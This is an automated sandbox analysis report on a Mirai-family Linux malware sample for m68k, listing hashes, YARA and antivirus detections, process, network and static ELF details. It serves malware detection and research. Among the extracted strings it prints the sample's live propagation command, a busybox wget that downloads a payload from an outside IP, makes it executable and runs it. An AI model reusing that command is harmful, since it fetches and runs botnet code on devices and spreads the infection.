Joe Sandbox Cloud Basic Analysis Report
Edit tour

Linux Analysis Report
Federalm68kAgent.elf

Overview

General Information

Sample name:Federalm68kAgent.elf
Analysis ID:1642385
MD5:6da8eb850b85fb0a109df0b794a039a7
SHA1:ee8301eed2acea20bd6fd765f3cca4ee9d1e76ed
SHA256:8a0ef293eb3a77bf3d8962c8cf4934d2ac5b2d940d93cf7b57f0d48f09abeb16
Tags:elfMiraiuser-abuse_ch
Infos:

Detection

Mirai
Score:72
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

General Information

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1642385
Start date and time:2025-03-19 02:40:29 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 51s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:Federalm68kAgent.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@2/0

Runtime Messages

Command:/tmp/Federalm68kAgent.elf
PID:5514
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

  • system is lnxubuntu20
  • Federalm68kAgent.elf (PID: 5514, Parent: 5438, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/Federalm68kAgent.elf
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
Federalm68kAgent.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    Federalm68kAgent.elfLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
    • 0x12fa0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12fb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12fc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12fdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12ff0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x13004:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x13018:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x1302c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x13040:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x13054:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x13068:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x1307c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x13090:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x130a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x130b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x130cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x130e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x130f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x13108:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x1311c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x13130:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    5514.1.00007f166c001000.00007f166c017000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      5514.1.00007f166c001000.00007f166c017000.r-x.sdmpLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
      • 0x12fa0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12fb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12fc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12fdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12ff0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x13004:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x13018:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x1302c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x13040:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x13054:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x13068:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x1307c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x13090:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x130a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x130b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x130cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x130e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x130f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x13108:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x1311c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x13130:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      Process Memory Space: Federalm68kAgent.elf PID: 5514JoeSecurity_Mirai_8Yara detected MiraiJoe Security
        Process Memory Space: Federalm68kAgent.elf PID: 5514Linux_Trojan_Gafgyt_28a2fe0cunknownunknown
        • 0x72ef:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x7303:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x7317:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x732b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x733f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x7353:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x7367:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x737b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x738f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x73a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x73b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x73cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x73df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x73f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x7407:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x741b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x742f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x7443:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x7457:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x746b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x747f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        • • AV Detection
        • • Networking
        • • System Summary
        • • Malware Analysis System Evasion
        • • Stealing of Sensitive Information
        • • Remote Access Functionality

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: Federalm68kAgent.elfAvira: detected
        Source: Federalm68kAgent.elfReversingLabs: Detection: 52%
        Source: Federalm68kAgent.elfVirustotal: Detection: 59%Perma Link
        Source: /tmp/Federalm68kAgent.elf (PID: 5514)Socket: 192.168.2.13:9473Jump to behavior
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com

        System Summary

        barindex
        Source: Federalm68kAgent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
        Source: 5514.1.00007f166c001000.00007f166c017000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
        Source: Process Memory Space: Federalm68kAgent.elf PID: 5514, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
        Source: Initial sampleString containing 'busybox' found: $(/bin/busybox wget -g 213.209.129.92 -l /tmp/monke -r /u; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke selfrep.router)
        Source: Initial sampleString containing 'busybox' found: $(/bin/busybox wget -g 213.209.129.92 -l /tmp/monke -r /u; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke selfrep.router)%04X/proc/opendir..self902i13BzSxLxBxeYHOHO-LUGO7HOHO-U79OLJuYfouyf87NiGGeR69xdSO190Ij1XLOLKIKEEEDDEekjheory98escansh4MDMAfdevalvexscanspcMELTEDNINJAREALZflexsonskidsscanx86MISAKI-U79OLfoAxi102kxeswodjwodjwojMmKiy7f87lfreecookiex86sysgpufrgegesysupdater0DnAzepdNiGGeRD0nks69frgreu0x766f6964NiGGeRd0nks1337gafturasgbsigboa120i3UI49OaF3geaevaiolmao123123aOfurain0n4H34DggTrexewwasads1293194hjXDOthLaLosnggtwget-log1337SoraLOADERSAIAKINAggtq1378bfp919GRB1Q2SAIAKUSOggtr14FaSEXSLAVE1337ggtt1902a3u912u3u4haetrghbr19ju3dSORAojkf120hehahejeje922U2JDJA901F91SlaVLav12helpmedaddthhhhh2wgg9qphbqSlav3Th3seD3viceshzSmYZjYMQ5GbfsoraSoRAxD123LOLiaGv5aA3SoRAxD420LOLinsomni640277SoraBeReppin1337ipcamCache66tlGg9QjUYfouyf876ke3TOKYO3lyEeaXul2dULCVxh93OfjHZ2zTY2gD6MZvKc7KU6rmMkiy6f87lA023UU4U24UIUTheWeekndmioribitchesA5p9TheWeekndsmnblkjpoiAbAdTokyosnebAkiruU8inTznetstatsAlexW9RCAKM20TnewnetwordAyo215WordnloadsWo
        Source: ELF static info symbol of initial sample.symtab present: no
        Source: Federalm68kAgent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
        Source: 5514.1.00007f166c001000.00007f166c017000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
        Source: Process Memory Space: Federalm68kAgent.elf PID: 5514, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
        Source: classification engineClassification label: mal72.troj.linELF@0/0@2/0
        Source: /tmp/Federalm68kAgent.elf (PID: 5514)Queries kernel information via 'uname': Jump to behavior
        Source: Federalm68kAgent.elf, 5514.1.00007ffce75d2000.00007ffce75f3000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-m68k/tmp/Federalm68kAgent.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Federalm68kAgent.elf
        Source: Federalm68kAgent.elf, 5514.1.000055cc00061000.000055cc000e6000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/m68k
        Source: Federalm68kAgent.elf, 5514.1.00007ffce75d2000.00007ffce75f3000.rw-.sdmpBinary or memory string: /usr/bin/qemu-m68k
        Source: Federalm68kAgent.elf, 5514.1.000055cc00061000.000055cc000e6000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/m68k
        Source: Federalm68kAgent.elf, 5514.1.00007ffce75d2000.00007ffce75f3000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: Federalm68kAgent.elf, type: SAMPLE
        Source: Yara matchFile source: 5514.1.00007f166c001000.00007f166c017000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: Federalm68kAgent.elf PID: 5514, type: MEMORYSTR

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: Federalm68kAgent.elf, type: SAMPLE
        Source: Yara matchFile source: 5514.1.00007f166c001000.00007f166c017000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: Federalm68kAgent.elf PID: 5514, type: MEMORYSTR

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
        Security Software Discovery        		Remote ServicesData from Local System1
        Non-Application Layer Protocol        		Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
        Application Layer Protocol        		Exfiltration Over BluetoothNetwork Denial of Service

        Malware Configuration

        ⊘No configs have been found

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1642385 Sample: Federalm68kAgent.elf Startdate: 19/03/2025 Architecture: LINUX Score: 72 8 daisy.ubuntu.com 2->8 10 Malicious sample detected (through community Yara rule) 2->10 12 Antivirus / Scanner detection for submitted sample 2->12 14 Multi AV Scanner detection for submitted file 2->14 16 Yara detected Mirai 2->16 6 Federalm68kAgent.elf 2->6         started        signatures3 process4

        Screenshots

        Download Video

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        Federalm68kAgent.elf53%ReversingLabsLinux.Trojan.Mirai
        Federalm68kAgent.elf59%VirustotalBrowse
        Federalm68kAgent.elf100%AviraEXP/ELF.Mirai.Z.A

        Dropped Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        ⊘No Antivirus matches

        Domains and IPs

        Download Network PCAP: filtered – full

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        daisy.ubuntu.com
        		162.213.35.24
        		truefalse
          		high

          World Map of Contacted IPs

          ⊘No contacted IP infos

          Joe Sandbox View / Context

          IPs

          ⊘No context

          Domains

          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          daisy.ubuntu.comhoho.mpsl.elfGet hashmaliciousUnknownBrowse
          • 162.213.35.25
          hoho.arm6.elfGet hashmaliciousUnknownBrowse
          • 162.213.35.24
          hoho.m68k.elfGet hashmaliciousUnknownBrowse
          • 162.213.35.25
          hoho.x86.elfGet hashmaliciousMiraiBrowse
          • 162.213.35.24
          hoho.mips.elfGet hashmaliciousUnknownBrowse
          • 162.213.35.25
          FederalarcAgent.elfGet hashmaliciousUnknownBrowse
          • 162.213.35.24
          Aqua.arm5.elfGet hashmaliciousMiraiBrowse
          • 162.213.35.24
          Mozi.m.elfGet hashmaliciousMiraiBrowse
          • 162.213.35.25

          ASNs

          ⊘No context

          JA3 Fingerprints

          ⊘No context

          Dropped Files

          ⊘No context

          Created / dropped Files

          ⊘No created / dropped files found

          Static File Info

          General

          File type:ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
          Entropy (8bit):6.396794823712846
          TrID:
          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
          File name:Federalm68kAgent.elf
          File size:92'160 bytes
          MD5:6da8eb850b85fb0a109df0b794a039a7
          SHA1:ee8301eed2acea20bd6fd765f3cca4ee9d1e76ed
          SHA256:8a0ef293eb3a77bf3d8962c8cf4934d2ac5b2d940d93cf7b57f0d48f09abeb16
          SHA512:243984a9ef495ee654ffd01fc6d36b9c4ac1a1d4ec2703a27ce853ed9ec6aea78c8cb4c090ad22e1a4236a7f188d9f49cfd3a57bb13d3a8718dd42682a383c2d
          SSDEEP:1536:mYPQsPSLE7saQZVKvDEfElxdcyWS8ruMmdsxA/cdRKT32lwoXKLQLf:mYPkKDEMHdcy9MnAUdI4XsQLf
          TLSH:30934CDAF801DD7DF80EE67648560E09B970A3911B930F2673A7FE636C320A57D16E81
          File Content Preview:.ELF.......................D...4..fp.....4. ...(......................]f..]f...... .......]l..}l..}l......l....... .dt.Q............................NV..a....da.....N^NuNV..J9...0f>"y..}. QJ.g.X.#...}.N."y..}. QJ.f.A.....J.g.Hy..]hN.X........0N^NuNV..N^NuN

          Static ELF Info

          ELF header

          Class:ELF32
          Data:2's complement, big endian
          Version:1 (current)
          Machine:MC68000
          Version Number:0x1
          Type:EXEC (Executable file)
          OS/ABI:UNIX - System V
          ABI Version:0
          Entry Point Address:0x80000144
          Flags:0x0
          ELF Header Size:52
          Program Header Offset:52
          Program Header Size:32
          Number of Program Headers:3
          Section Header Offset:91760
          Section Header Size:40
          Number of Section Headers:10
          Header String Table Index:9

          Sections

          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
          NULL0x00x00x00x00x0000
          .initPROGBITS0x800000940x940x140x00x6AX002
          .textPROGBITS0x800000a80xa80x12eea0x00x6AX004
          .finiPROGBITS0x80012f920x12f920xe0x00x6AX002
          .rodataPROGBITS0x80012fa00x12fa00x2dc60x00x2A002
          .ctorsPROGBITS0x80017d6c0x15d6c0x80x00x3WA004
          .dtorsPROGBITS0x80017d740x15d740x80x00x3WA004
          .dataPROGBITS0x80017d800x15d800x8b00x00x3WA004
          .bssNOBITS0x800186300x166300x63480x00x3WA004
          .shstrtabSTRTAB0x00x166300x3e0x00x0001

          Program Segments

          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
          LOAD0x00x800000000x800000000x15d660x15d666.41780x5R E0x2000.init .text .fini .rodata
          LOAD0x15d6c0x80017d6c0x80017d6c0x8c40x6c0c4.59780x6RW 0x2000.ctors .dtors .data .bss
          GNU_STACK0x00x00x00x00x00.00000x6RW 0x4

          Network Behavior

          Download Network PCAP: filtered – full

          TimestampSource PortDest PortSource IPDest IP
          Mar 19, 2025 02:41:44.620223045 CET4591153192.168.2.131.1.1.1
          Mar 19, 2025 02:41:44.620351076 CET5484053192.168.2.131.1.1.1
          Mar 19, 2025 02:41:44.627054930 CET53548401.1.1.1192.168.2.13
          Mar 19, 2025 02:41:44.627737999 CET53459111.1.1.1192.168.2.13

          DNS Queries

          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
          Mar 19, 2025 02:41:44.620223045 CET192.168.2.131.1.1.10x8443Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
          Mar 19, 2025 02:41:44.620351076 CET192.168.2.131.1.1.10xf942Standard query (0)daisy.ubuntu.com28IN (0x0001)false

          DNS Answers

          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
          Mar 19, 2025 02:41:44.627737999 CET1.1.1.1192.168.2.130x8443No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
          Mar 19, 2025 02:41:44.627737999 CET1.1.1.1192.168.2.130x8443No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

          System Behavior

          General

          Start time (UTC):01:41:37
          Start date (UTC):19/03/2025
          Path:/tmp/Federalm68kAgent.elf
          Arguments:/tmp/Federalm68kAgent.elf
          File size:4463432 bytes
          MD5 hash:cd177594338c77b895ae27c33f8f86cc

          File Activities

          Process Activities

          System Activities

          Network Activities